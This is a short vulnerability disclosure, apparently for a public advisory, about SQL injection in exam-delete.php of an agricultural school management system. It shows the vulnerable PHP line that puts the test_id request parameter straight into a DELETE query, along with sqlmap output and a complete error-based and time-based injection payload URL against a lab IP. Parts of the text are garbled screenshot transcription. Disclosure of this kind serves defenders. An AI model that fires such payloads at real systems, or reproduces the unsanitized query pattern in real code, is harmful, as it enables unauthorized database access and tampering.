Agro-School Management System exam-delete.php has Sqlinjection

A SQL injection vulnerability exists in the agricultural school management system exam-delete.php. The basic introduction of the vulnerability is that SQL injection means that the web application does not strictly judge or filter the validity of user input data. An attacker can add additional SQL statements to the end of a predefined query statement in a web application, and perform illegal operations without the knowledge of the administrator. In this way, the database server can be tricked into performing any unauthorized query and obtaining the corresponding data information.

```
AGRICU... [1] ₽ ₽ O admins > assessments > examproper > 💝 exam-delete.php
                                                                                                                                                                       Aa <u>Abi</u> _* 无结果
                               include("../../connections/db-connect.php");
$id = $_REQUEST['test_id'];

    assessments

 > activities
                                $stmt = $conn->prepare("DELETE FROM examproper WHERE test_id = '$id'");
 > databank

∨ examproper

  m btn_functions.php
                               header("location: index.php")
  💝 delete.php
   exam-delete.php
   exam-update.php
   🖙 index.php
   🖛 loaddata.php
   modals.php
  🖛 question-update...
   auestions-view.php
```

```
sqlmap identified the following injection point(s) with a total of 1212 HTTP(s) requests:

---
Parameter: #1* (URI)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: http://192.168.109.128:80/agriculture/admins/assessments/pretest/exam-delete.php?test_id=(select(0) from(select(sleep(4)))v)/ AND GTID_SUBSET(CONCAT(0x7178707171, (SELECT (ELT(5172=5172, 1))), 0x7162717071), 5172)-- fvUA'+(select(0) from(select(sleep(4)))v)+"+ (select(0) from(select(sleep(4)))v)+"/
---
[20:26:46] [INFO] the back-ord DBMS is MySOL
```

SqlMap Attack

```
---
---
Parameter: #1* (URI)
```

```
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   Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or
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(ELT(5172=5172,1))),0x7162717071),5172)-- fvUA'+
(select(0)from(select(sleep(4)))v)+'"+
(select(0)from(select(sleep(4)))v)+"/
---
```